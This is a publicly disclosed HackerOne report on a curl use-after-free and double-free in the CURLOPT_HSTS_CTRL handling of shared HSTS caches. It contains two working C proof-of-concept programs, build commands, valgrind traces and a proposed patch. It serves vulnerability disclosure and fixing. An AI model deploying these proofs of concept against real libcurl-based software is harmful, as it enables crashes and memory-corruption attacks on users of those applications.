HexBrain

curl · Report #3733934

CURLOPT_HSTS_CTRL disables shared HSTS without share guard — use-after-free and double-free

Informativestatus
12upvotes
18 May 2026disclosed

How it was found

Hi all,

CURLOPT_HSTS_CTRL set to a value without CURLHSTS_ENABLE unconditionally frees the easy's HSTS object — even when that object is shared via a CURLSH. The result is a use-after-free and a double-free on the shared 48-byte struct hsts block when the share or any other linked easy is later torn down.

The CURLOPT_HSTS_CTRL case was originally written in 7385610d0c (2020-11-02, "hsts: add support for Strict-Transport-Security") when no shared HSTS existed, so the unconditional cleanup was fine. Shared HSTS landed in 076a2f6291 (2022-12-27, "share: add sharing of HSTS cache among handles"), which added the if(!data->share || !data->share->hsts) guard to two of the three cleanup sites — lib/setopt.c:2508 (CURLOPT_HSTS cleared) and lib/url.c:266 (Curl_close) — but missed the CURLOPT_HSTS_CTRL path. So the bug has been reachable since 2022-12-27.

The short version: lib/setopt.c:1274-1286:

case CURLOPT_HSTS_CTRL:
  if(arg & CURLHSTS_ENABLE) {
    if(!data->hsts) {
      data->hsts = Curl_hsts_init();
      ...
    }
  }
  else
    Curl_hsts_cleanup(&data->hsts);   /* <-- no share guard */
  break;

The two structurally identical sibling paths do have the guard. lib/setopt.c:2508-2510 (CURLOPT_HSTS cleared):

if(!data->share || !data->share->hsts)
  /* throw away the HSTS cache unless shared */
  Curl_hsts_cleanup(&data->hsts);

and lib/url.c:266-267 (Curl_close) does the same. The CURLOPT_HSTS_CTRL path was just missed.

Curl_share_easy_link (lib/curl_share.c:455-461) aliases share->hsts straight into data->hsts on link — so after linking N easy handles to a share with CURLSHOPT_SHARE/CURL_LOCK_DATA_HSTS, you have one heap block and N+1 pointers. The buggy cleanup frees the block via one alias and nulls only that alias; share->hsts and every other linked easy's data->hsts are now dangling.

PoC (F4_poc.c):

/*
 * F4 PoC: CURLOPT_HSTS_CTRL UAF / double-free via shared HSTS
 */
#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
  CURLSH *share;
  CURL *easyA, *easyB;
  CURLcode rc;

  curl_global_init(CURL_GLOBAL_DEFAULT);

  share = curl_share_init();
  if(!share) { fprintf(stderr, "share init failed\n"); return 1; }
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);

  easyA = curl_easy_init();
  easyB = curl_easy_init();
  if(!easyA || !easyB) { fprintf(stderr, "easy init failed\n"); return 1; }

  /* Link both easies to the share. After this, both
   * easyA->hsts and easyB->hsts alias share->hsts.
   */
  curl_easy_setopt(easyA, CURLOPT_SHARE, share);
  curl_easy_setopt(easyB, CURLOPT_SHARE, share);

  fprintf(stderr, "[poc] both easies linked; share->hsts is aliased\n");

  /* The bug: CURLOPT_HSTS_CTRL without CURLHSTS_ENABLE.
   * lib/setopt.c:1283-1284 unconditionally calls
   *   Curl_hsts_cleanup(&data->hsts);
   * which frees the shared hsts object via easyA's alias and
   * nulls only easyA->hsts. share->hsts and easyB->hsts still
   * point to the freed object.
   */
  rc = curl_easy_setopt(easyA, CURLOPT_HSTS_CTRL, 0L);
  fprintf(stderr, "[poc] CURLOPT_HSTS_CTRL=0 returned %d\n", (int)rc);

  /* At this point share->hsts is a dangling pointer.
   * Tearing down anything that touches it triggers the UAF/double-free:
   *   - curl_easy_cleanup(easyB) goes through Curl_close, which
   *     checks data->share->hsts (read of freed memory) and may skip
   *     the free; but then
   *   - curl_share_cleanup(share) -> share_destroy() ->
   *     Curl_hsts_cleanup(&share->hsts) is a guaranteed double free.
   */

  curl_easy_cleanup(easyA);
  curl_easy_cleanup(easyB);
  curl_share_cleanup(share);   /* double-free / UAF lands here */

  curl_global_cleanup();
  fprintf(stderr, "[poc] survived (unexpected)\n");
  return 0;
}

A shorter variant (F4_poc_v2.c) that tears down the share first — same bug, lands the double-free directly on curl_share_cleanup without going through any easy cleanup:

#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
  CURLSH *share;
  CURL *easyA, *easyB;
  curl_global_init(CURL_GLOBAL_DEFAULT);
  share = curl_share_init();
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
  easyA = curl_easy_init();
  easyB = curl_easy_init();
  curl_easy_setopt(easyA, CURLOPT_SHARE, share);
  curl_easy_setopt(easyB, CURLOPT_SHARE, share);
  curl_easy_setopt(easyA, CURLOPT_HSTS_CTRL, 0L);
  /* Tear down share first; ASan should flag double-free */
  curl_share_cleanup(share);
  return 0;
}

Build against the local --disable-shared build and run under valgrind:

gcc -g -O0 F4_poc.c -I include lib/.libs/libcurl.a \
    -lnghttp2 -lidn2 -lssl -lcrypto -lzstd -lbrotlidec -lz \
    -lunistring -lbrotlicommon -lpthread -ldl -o F4_poc_nosan
valgrind --leak-check=no ./F4_poc_nosan

Valgrind output (trimmed to the load-bearing frames — allocation, first free, UAF read, second free):

[poc] both easies linked; share->hsts is aliased
[poc] CURLOPT_HSTS_CTRL=0 returned 0

==1136270== Invalid read of size 4
==1136270==    at 0x11F95A: Curl_hsts_save
==1136270==    by 0x13FB46: Curl_close
==1136270==    by 0x11B3BB: curl_easy_cleanup
==1136270==    by 0x1187C9: main (F4_poc.c:63)              <- easyB cleanup
==1136270==  Address 0x556fba8 is 40 bytes inside a block of size 48 free'd
==1136270==    at 0x484D8BF: free
==1136270==    by 0x11F61D: Curl_hsts_cleanup
==1136270==    by 0x13512B: setopt_long_misc                <- first free
==1136270==    by 0x13690B: Curl_vsetopt
==1136270==    by 0x1393BC: curl_easy_setopt
==1136270==    by 0x11878D: main (F4_poc.c:50)              <- CURLOPT_HSTS_CTRL=0
==1136270==  Block was alloc'd at
==1136270==    at 0x4851BE3: calloc
==1136270==    by 0x11F5A7: Curl_hsts_init
==1136270==    by 0x118D12: curl_share_setopt               <- one allocation
==1136270==    by 0x1186CE: main (F4_poc.c:29)              <- CURLSHOPT_SHARE

==1136270== Invalid free() / delete / delete[] / realloc()
==1136270==    at 0x484D8BF: free
==1136270==    by 0x11F61D: Curl_hsts_cleanup
==1136270==    by 0x11883D: share_destroy
==1136270==    by 0x118E19: curl_share_cleanup
==1136270==    by 0x1187D5: main (F4_poc.c:64)              <- second free
==1136270==  Address 0x556fb80 is 0 bytes inside a block of size 48 free'd
==1136270==    at 0x484D8BF: free
==1136270==    by 0x11F61D: Curl_hsts_cleanup
==1136270==    by 0x13512B: setopt_long_misc                <- (same earlier free)
==1136270==    by 0x13690B: Curl_vsetopt
==1136270==    by 0x1393BC: curl_easy_setopt
==1136270==    by 0x11878D: main (F4_poc.c:50)
==1136270==  Block was alloc'd at
==1136270==    at 0x4851BE3: calloc
==1136270==    by 0x11F5A7: Curl_hsts_init
==1136270==    by 0x118D12: curl_share_setopt
==1136270==    by 0x1186CE: main (F4_poc.c:29)

==1136270== ERROR SUMMARY: 5 errors from 5 contexts (suppressed: 0 from 0)

One allocation, two distinct frees of it, and several UAF reads in between. With ASan the second cleanup pass deterministically SEGVs inside Curl_node_elem while share_destroy walks the freed list.

Fix is the same else if already used at lib/setopt.c:2508:

-    else
-      Curl_hsts_cleanup(&data->hsts);
+    else if(!data->share || !data->share->hsts)
+      Curl_hsts_cleanup(&data->hsts);

Looking at the documentation a bit, the CURLOPT_HSTS_CTRL docs list 0 as the default value and contain no warning whatsoever about share handles, and the CURLOPT_SHARE docs don't mention HSTS at all. So setting CURLOPT_HSTS_CTRL to a value without CURLHSTS_ENABLE is (afaict) the documented way to disable HSTS on a handle, and there is nothing in the API that tells a caller this is unsafe on a shared handle. The default-is-zero aspect makes it somehwat worse: calling curl_easy_setopt(h, CURLOPT_HSTS_CTRL, 0L) to reset a handle to defaults (seems reasonable) is enough to trigger the free on a share that has HSTS enabled.

This looks like the same issue as CVE-2018-16840 and possibly CVE-2023-27537.

Cheers, Joshua

Impact

Setting CURLOPT_HSTS_CTRL without CURLHSTS_ENABLE on any easy handle linked to a share frees the shared HSTS object and leaves every other handle in the share — and the share itself — holding a dangling pointer, guaranteeing a double-free on the next cleanup or HSTS operation.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original